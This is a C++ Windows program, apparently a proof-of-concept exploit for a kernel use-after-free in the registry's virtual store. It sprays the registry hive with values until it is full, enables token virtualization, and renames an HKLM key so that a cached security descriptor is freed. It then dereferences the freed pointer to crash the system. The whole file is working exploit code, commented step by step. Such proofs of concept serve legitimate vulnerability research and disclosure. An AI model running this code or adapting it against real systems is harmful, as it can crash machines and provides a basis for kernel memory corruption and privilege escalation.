#include <Windows.h>
#include <sddl.h>

#include <cstdio>

#pragma comment(lib, "advapi32")

BOOL EnableTokenVirtualization(HANDLE hToken, BOOL bEnabled) {
  DWORD dwVirtualizationEnabled = bEnabled;
  if (!SetTokenInformation(hToken,
                           TokenVirtualizationEnabled,
                           &dwVirtualizationEnabled,
                           sizeof(dwVirtualizationEnabled))) {
    printf("SetTokenInformation failed with error %u\n", GetLastError());
    return FALSE;
  }

  return TRUE;
}

int main(int argc, char** argv) {
  //
  // Create our own replicated key structure under the virtual store.
  //

  HKEY hvirtstore;
  LONG st = RegCreateKeyExW(HKEY_CURRENT_USER,
                            L"Software\\Classes\\VirtualStore\\Machine\\"
                            L"Software\\Microsoft\\Windows Advanced Threat Protection",
                            0,
                            NULL,
                            REG_OPTION_VOLATILE,
                            KEY_ALL_ACCESS,
                            NULL,
                            &hvirtstore,
                            NULL);

  if (st != ERROR_SUCCESS) {
    printf("RegCreateKeyExW failed with error %d\n", st);
    return 1;
  }

  //
  // Set a custom, unique security descriptor on the leaf key, to ensure that
  // the SD will have only one reference and will get freed once that reference
  // is dropped.
  //

  PSECURITY_DESCRIPTOR lpSecurityDescriptor;

  CONST WCHAR* szSD = L"D:(A;;KA;;;WD)"; // Allow KEY_ALL_ACCESS for Everyone.

  if (!ConvertStringSecurityDescriptorToSecurityDescriptorW(szSD,
                                                            SDDL_REVISION_1,
                                                            &lpSecurityDescriptor,
                                                            NULL)) {
    printf("ConvertStringSecurityDescriptorToSecurityDescriptorW failed with "
           "error %u\n", GetLastError());
    return 1;
  }

  st = RegSetKeySecurity(hvirtstore, DACL_SECURITY_INFORMATION, lpSecurityDescriptor);

  if (st != ERROR_SUCCESS) {
    printf("RegSetKeySecurity failed with error %d\n", st);
    return 1;
  }

  //
  // Pre-create the value nodes to minimize fragmentation of cells during
  // spraying, and to arrive at a stable key value index that won't be
  // reallocated later.
  //

  printf("Pre-creating registry spray values...\n");

  for (ULONG i = 0; i < 0x4000; i++) {
    CHAR chValueName[10];
    _snprintf_s(chValueName, sizeof(chValueName), "%.8x", i);
    RegSetKeyValueA(hvirtstore, NULL, chValueName, REG_BINARY, "AAAA", 4);
  }

  //
  // Allocate space in the hive by creating values of descending length, up
  // to the point where there is no room left in the hive for new allocations.
  //

  CONST ULONG kMaxValueSize = 1024 * 1024;  // 1 MiB
  PBYTE chValueData = (PBYTE)malloc(kMaxValueSize);

  if (chValueData == NULL) {
    printf("malloc(%u) failed\n", kMaxValueSize);
    return 1;
  }

  memset(chValueData, 0xCC, kMaxValueSize);

  printf("Spraying registry with size %u...\n", kMaxValueSize);

  ULONG ulSprayAllocSize = kMaxValueSize, ulTotalSpraySize = 0;
  for (ULONG i = 0; ulSprayAllocSize > 4; i++) {
    CHAR chValueName[10];
    _snprintf_s(chValueName, sizeof(chValueName), "%.8x", i);

    st = RegSetKeyValueA(hvirtstore,
                         NULL,
                         chValueName,
                         REG_BINARY,
                         chValueData,
                         ulSprayAllocSize - 4);

    if (st == ERROR_SUCCESS) {
      ulTotalSpraySize += ulSprayAllocSize;
    }
    else {
      ulSprayAllocSize /= 2;
      printf("Spraying registry with size %u...\n", ulSprayAllocSize);
    }
  }

  printf("Registry sprayed with a total of 0x%x bytes\n", ulTotalSpraySize);

  //
  // Open "HKLM\Software\Microsoft\Windows Advanced Threat Protection" with
  // read access.
  //

  HKEY hrealkey;
  st = RegOpenKeyExW(HKEY_LOCAL_MACHINE,
                     L"Software\\Microsoft\\Windows Advanced Threat Protection",
                     0,
                     KEY_READ,
                     &hrealkey);

  if (st != ERROR_SUCCESS) {
    printf("RegOpenKeyExW failed with error %d\n", st);
    return 1;
  }

  //
  // Enable virtualization for our process.
  //

  HANDLE hToken;
  if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) {
    printf("OpenProcessToken failed with error %u\n", GetLastError());
    return 1;
  }

  EnableTokenVirtualization(hToken, TRUE);

  //
  // Attempt to rename the key in HKLM, which will trigger key replication and
  // the freeing of the virtual store leaf key's existing security descriptor,
  // but will fail to assign a new one, leaving
  // _CM_KEY_CONTROL_BLOCK.CachedSecurity pointing at freed memory.
  //

  st = RegRenameKey(hrealkey, NULL, L"Test");

  if (st != ERROR_NO_SYSTEM_RESOURCES) {
    printf("RegRenameKey failed with error %d\n", st);
    return 1;
  }

  //
  // Request the security descriptor of the virtual store leaf key, which
  // should result in dereferencing a freed kernel pool pointer and a crash.
  //

  DWORD cbSecurityDescriptor = 0;
  st = RegGetKeySecurity(hvirtstore,
                         DACL_SECURITY_INFORMATION,
                         NULL,
                         &cbSecurityDescriptor);

  if (st != ERROR_SUCCESS) {
    printf("RegGetKeySecurity failed with error %d\n", st);
    return 1;
  }

  return 0;
}